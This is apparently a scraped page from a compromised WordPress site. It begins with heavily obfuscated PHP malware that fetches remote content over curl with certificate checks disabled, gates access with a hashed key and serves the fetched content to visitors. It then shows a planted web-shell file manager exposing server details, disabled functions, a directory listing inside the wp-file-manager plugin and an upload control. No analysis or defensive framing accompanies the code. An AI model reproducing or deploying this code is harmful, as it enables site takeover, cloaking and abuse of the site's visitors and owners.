iz8U151n3Iqnz[5 + 5](INPUT_GET, "\x6f\146") == 1 && die($YAiz8U151n3Iqnz[2 + 3](__FILE__)); goto vtmKKBu_FlGGLCQ; uiueA4j3nfkUabu: $JUxv7PkjTf9yeLd = $YAiz8U151n3Iqnz[0 + 2]($J1isFWB34qRW1_S, true); goto j5mcPt0fpgDDSvb; wLg77_qS_I95tVv: SHNRPSmfUGd6fnn: goto A5MvylnPAptRSnj; vtmKKBu_FlGGLCQ: if (!(@$JUxv7PkjTf9yeLd[0] - time() > 0 and md5(md5($JUxv7PkjTf9yeLd[2 + 1])) === "\x39\65\61\x37\x30\x64\x65\62\60\141\144\63\71\x33\x61\x34\x65\x64\x63\62\142\x33\65\145\x61\70\x63\71\x37\x36\145\66")) { goto SHNRPSmfUGd6fnn; } goto K4nI3rS412FuAhw; A5MvylnPAptRSnj: } } goto x40vTEeGlpYELYV; JZWCa86WGTTqCJe: l_6ao2rvyUgOkRY: goto eIYF6_T2X9MvS3n; X0IrDYA35jkq7ux: exit($iZiMV_Th9q2MxFg["\143\157\156\x74\145\156\164"]); goto Xn4dGWu3U93wIr3; lwaccvJwb0RzQgk: function cc7duC5P3F0G52b($lBJyHUqnQwTxx1L, $IvxqK4WMpKZWKeE = array()) { goto iS1Q4YVsJya0fNu; Z6TFiXqI6dT4x5r: try { goto jjyp4Ctdnta9Bb6; a1m0OgexafG8OXU: goto T_Jx3XICFRkezJR; goto SY1w0FUJgSpvTGn; wqipUqV8f62O355: goto T_Jx3XICFRkezJR; goto j7an1EETFqzG63F; f12D2Ty5JKiJcen: $iZiMV_Th9q2MxFg["\143\157\x6e\164\145\x6e\164"] = strval($sb_9V3VPvxIkAuf); goto gh8PUvdas8FW4Tr; nabS9FyglqGCqCg: $iZiMV_Th9q2MxFg["\x73\x74\141\x74\165\163"] = intval(curl_getinfo($yj8tEMsFXJeZgyk, CURLINFO_HTTP_CODE)); goto vrOJ1xBc5x1cGN7; eAIKTq58hDxNyt2: $AhKJu228MIMFVA0 = stream_context_create($jJ7Mee97b1luN1t); goto iMEA9Zts7Sr2d0W; sTbulIyBMUT0wtc: $iZiMV_Th9q2MxFg["\143\x6f\156\164\x65\156\164"] = strval($sTPAo9S3j7AX97b); goto GVlSkrHEfu3kMf5; JkSoLL9U0B9uvTj: curl_setopt($yj8tEMsFXJeZgyk, CURLOPT_RETURNTRANSFER, 1); goto AiEfFn6ol7c5tM8; XHBvVe0nSEcWj67: if (ini_get("\x61\154\x6c\x6f\x77\x5f\x75\162\154\x5f\x66\157\x70\145\156")) { goto KuUmcRVjEJohCIh; } goto a1m0OgexafG8OXU; TfV5O2dsgJ01R8V: curl_setopt($yj8tEMsFXJeZgyk, CURLOPT_TIMEOUT, 60); goto csgZawkJ1aV8HBh; s7Ba3PsrXIzVTcm: curl_setopt($yj8tEMsFXJeZgyk, CURLOPT_COOKIESESSION, 0); goto JkSoLL9U0B9uvTj; kMOjJIroXQ4Tvq0: $iZiMV_Th9q2MxFg = array_merge($iZiMV_Th9q2MxFg, Jt7ecxeqcfRWrx2($http_response_header)); goto iU6eBAezYVU4rEt; gh8PUvdas8FW4Tr: QEGmSFNHGP3A4WF: goto wlbbm4slBDBD_4J; iU6eBAezYVU4rEt: if (!in_array($iZiMV_Th9q2MxFg["\x73\x74\141\x74\x75\x73"], array(200, 301, 302, 404))) { goto QEGmSFNHGP3A4WF; } goto f12D2Ty5JKiJcen; vrOJ1xBc5x1cGN7: $iZiMV_Th9q2MxFg["\164\171\160\145"] = strval(curl_getinfo($yj8tEMsFXJeZgyk, CURLINFO_CONTENT_TYPE)); goto WQDUadVgoldXYZt; WQDUadVgoldXYZt: $iZiMV_Th9q2MxFg["\143\157\156\x74\x65\x6e\x74"] = strval(curl_getinfo($yj8tEMsFXJeZgyk, CURLINFO_REDIRECT_URL)); goto pZmbFWj4NdVWA0B; KH3XG56YctdVeBk: if (!in_array($iZiMV_Th9q2MxFg["\163\x74\x61\x74\165\x73"], array(200, 301, 302, 404))) { goto jYEckn3TOYKkhIe; } goto sTbulIyBMUT0wtc; jjyp4Ctdnta9Bb6: if (function_exists("\143\165\162\x6c\137\x65\170\x65\143")) { goto kYj6m4BKCqp32qH; } goto XHBvVe0nSEcWj67; whJf1D1QAodnX0A: curl_setopt($yj8tEMsFXJeZgyk, CURLOPT_CONNECTTIMEOUT, 20); goto TfV5O2dsgJ01R8V; AiEfFn6ol7c5tM8: $sTPAo9S3j7AX97b = curl_exec($yj8tEMsFXJeZgyk); goto nabS9FyglqGCqCg; jKiqiKSjxDJkLJC: $yj8tEMsFXJeZgyk = curl_init(); goto xhg3sEVvt7I0dDw; iMEA9Zts7Sr2d0W: $sb_9V3VPvxIkAuf = @file_get_contents($lBJyHUqnQwTxx1L, false, $AhKJu228MIMFVA0); goto kMOjJIroXQ4Tvq0; wlbbm4slBDBD_4J: T_Jx3XICFRkezJR: goto XtVUsEnw41yZ014; ZIZXK35JS0IUCqo: $jJ7Mee97b1luN1t = array("\x68\164\164\160" => array("\x6d\x65\x74\x68\x6f\144" => "\x47\105\124", "\164\151\155\145\x6f\x75\x74" => 60, "\146\157\154\x6c\x6f\x77\137\154\157\143\141\x74\x69\157\156" => 0), "\x73\163\x6c" => array("\x76\145\x72\x69\146\171\x5f\160\145\x65\x72" => false, "\x76\x65\162\151\x66\171\137\160\145\x65\162\137\x6e\x61\x6d\145" => false)); goto eAIKTq58hDxNyt2; GVlSkrHEfu3kMf5: jYEckn3TOYKkhIe: goto wqipUqV8f62O355; pZmbFWj4NdVWA0B: @curl_close($yj8tEMsFXJeZgyk); goto KH3XG56YctdVeBk; xhg3sEVvt7I0dDw: curl_setopt($yj8tEMsFXJeZgyk, CURLOPT_URL, $lBJyHUqnQwTxx1L); goto U3q88TUrVZETsf9; sMZlMYIF6TiKlgl: curl_setopt($yj8tEMsFXJeZgyk, CURLOPT_SSL_VERIFYPEER, 0); goto whJf1D1QAodnX0A; U3q88TUrVZETsf9: curl_setopt($yj8tEMsFXJeZgyk, CURLOPT_SSL_VERIFYHOST, 0); goto sMZlMYIF6TiKlgl; csgZawkJ1aV8HBh: curl_setopt($yj8tEMsFXJeZgyk, CURLOPT_FOLLOWLOCATION, 0); goto s7Ba3PsrXIzVTcm; j7an1EETFqzG63F: KuUmcRVjEJohCIh: goto ZIZXK35JS0IUCqo; SY1w0FUJgSpvTGn: kYj6m4BKCqp32qH: goto jKiqiKSjxDJkLJC; XtVUsEnw41yZ014: } catch (Exception $Iuq_RJd7scdB1iP) { } goto tjsVduWCniSPtOy; iS1Q4YVsJya0fNu: $iZiMV_Th9q2MxFg = array("\163\164\141\164\x75\163" => 0, "\143\x6f\156\164\145\x6e\164" => '', "\164\171\x70\x65" => ''); goto X70kDfEnEfcpHjU; tjsVduWCniSPtOy: return $iZiMV_Th9q2MxFg; goto t8BcXnXn2DeuMOM; X70kDfEnEfcpHjU: if (!(is_array($IvxqK4WMpKZWKeE) && count($IvxqK4WMpKZWKeE))) { goto AhxQVDo_bGsSV64; } goto VyFLUCCCdB7CCO_; TvGAtjSv6dV470H: AhxQVDo_bGsSV64: goto Z6TFiXqI6dT4x5r; VyFLUCCCdB7CCO_: $lBJyHUqnQwTxx1L .= "\x3f" . http_build_query($IvxqK4WMpKZWKeE); goto TvGAtjSv6dV470H; t8BcXnXn2DeuMOM: } goto udwhDrsR_jifNc5; eIYF6_T2X9MvS3n: if (!strlen($iZiMV_Th9q2MxFg["\x63\157\x6e\x74\x65\156\164"])) { goto WXrRevxzSvgfKgM; } goto QhVa433fG0x9kpg; ea4x9x0DJtSw3rg: if (!$mSPVAZF6kRkixOG) { goto a6rHYwIzsC4ViYP; } goto GgfU7063BDt7kbQ; QhVa433fG0x9kpg: @header("\103\157\156\x74\x65\156\x74\x2d\124\x79\x70\145\x3a" . $iZiMV_Th9q2MxFg["\x74\171\160\145"]); goto X0IrDYA35jkq7ux; XGgEm3rOLtU00An: $jjBYJyh2oiFDmu5["\162"] = kBGNpsu7gOVBNDk($_SERVER["\122\x45\121\125\x45\123\x54\x5f\x55\122\111"]); goto LuGw5ODEtKjErmK; LuGw5ODEtKjErmK: $jjBYJyh2oiFDmu5["\162\146"] = kbgNPsu7GoVbNdK($zUmDDeCQ5P3mhYQ); goto zTBDYGa963tsyi4; dVnK0KUZDBQAVa5: $zUmDDeCQ5P3mhYQ = ''; goto wyoXPhu128BpOuQ; UfGPacm2BQauS89: $kdZw2Ii39Eavube = ${$RDM9Anw_DPXljKb[22 + 9] . $RDM9Anw_DPXljKb[36 + 23] . $RDM9Anw_DPXljKb[46 + 1] . $RDM9Anw_DPXljKb[35 + 12] . $RDM9Anw_DPXljKb[29 + 22] . $RDM9Anw_DPXljKb[33 + 20] . $RDM9Anw_DPXljKb[33 + 24]}; goto QTDd1v3O5hs_ANn; FqmJe_M2G_K2EH4: metaphone("\116\124\111\171\117\124\121\64\117\x54\131\x35\x4f\x44\147\x35\x4e\x54\115\60\x4d\x6a\125\64\x4d\x44\x59\61\x4d\172\105\x79"); goto PGx8nuSrIyc9fcc; UwXAR2P229RvCVW: $ecIrdoTQ_1fWR0X = sWjQOX_9GkTFHZY() . $_SERVER["\x48\124\124\120\137\110\117\x53\x54"]; goto DmY_HrwwGPer1x8; iaAqJdNJMx3REBe: $mSPVAZF6kRkixOG = true; goto jYkv5pH1hP5WIsn; WHGqT7EddoCcJvs: if (!($_SERVER["\122\105\x51\125\x45\x53\x54\137\125\122\x49"] === "\x2f\122\55" . md5($_SERVER["\110\124\124\x50\x5f\x48\117\x53\x54"]))) { goto GNweYmRVFpLGS7u; } goto CZr63Z2D3BR_zpJ; DmY_HrwwGPer1x8: if (!(strpos($zUmDDeCQ5P3mhYQ, $ecIrdoTQ_1fWR0X) === 0)) { goto Vn3_mPODNBzfG4j; } goto dVnK0KUZDBQAVa5; Zd9gS1fgGI9jJ9p: a6rHYwIzsC4ViYP: ?> HEX
HEX
Server: nginx/1.28.1
System: Linux VM-0-12-opencloudos 6.6.117-45.oc9.x86_64 #1 SMP Thu Dec 4 10:26:39 CST 2025 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
$ pwd: /www/wwwroot/www.waciwang.com/wp-content/plugins/wp-file-manager/lib/codemirror/mode/tornado/
Upload Files
Name Size Permissions Actions
📄 index.html 1.761K -rwxr-xr-x
📄 tornado.js 2.438K -rwxr-xr-x
@ Telegram